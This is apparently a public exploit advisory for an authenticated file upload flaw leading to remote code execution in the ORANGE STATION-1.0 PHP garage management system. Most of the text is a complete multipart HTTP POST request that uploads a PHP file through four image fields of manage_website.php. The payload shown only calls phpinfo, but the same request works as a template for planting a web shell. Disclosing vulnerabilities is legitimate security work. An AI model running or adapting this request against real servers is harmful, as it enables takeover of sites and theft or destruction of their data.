## Title: ORANGE STATION-1.0 File Upload Remote Code Execution Vulnerability
## Author: nu11secur1ty
## Date: 03/26/2024
## Vendor: https://www.mayurik.com/
## Software: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html
## Reference: https://portswigger.net/web-security/file-upload, https://www.bugcrowd.com/glossary/remote-code-execution-rce/
## Description:
The parameters back_login_image, login_image, invoice_image, and website_image in the manage_website.php application are vulnerable for File Upload and the server is vulnerable for Remote code execution after this.
The attacker who has credentials to this system can upload any PHP file and he can destroy the system or he can steal a very
sensitive information.
STATUS: HIGH-CRITICAL Vulnerability
## Exploit:
```POST
POST /garage/garage/manage_website.php HTTP/1.1
Host: pwnedhost.com
Cookie: PHPSESSID=gu6415ln5mmjknq4ofn8tkab0n
Content-Length: 1871
Cache-Control: max-age=0
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://pwnedhost.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryytBZTydZ8OfOJjda
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://pwnedhost.com/garage/garage/manage_website.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="title"
Orange Station
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="footer"
Admin PanelÂÂ
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="short_title"
9090909090
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="currency_code"
Shivaji Nagar, Nashik
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="currency_symbol"
₹
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="old_website_image"
logo.jpg
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="website_image"; filename="info.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="old_invoice_image"
logo.jpg
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="invoice_image"; filename="info.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="old_login_image"
logo.jpg
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="login_image"; filename="info.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="old_back_login_image"
service.jpg
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="back_login_image"; filename="info.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
------WebKitFormBoundaryytBZTydZ8OfOJjda
Content-Disposition: form-data; name="btn_web"
------WebKitFormBoundaryytBZTydZ8OfOJjda--
```
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/03/orange-station-10-multiple-file-upload.html)
## Time spent:
00:27:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
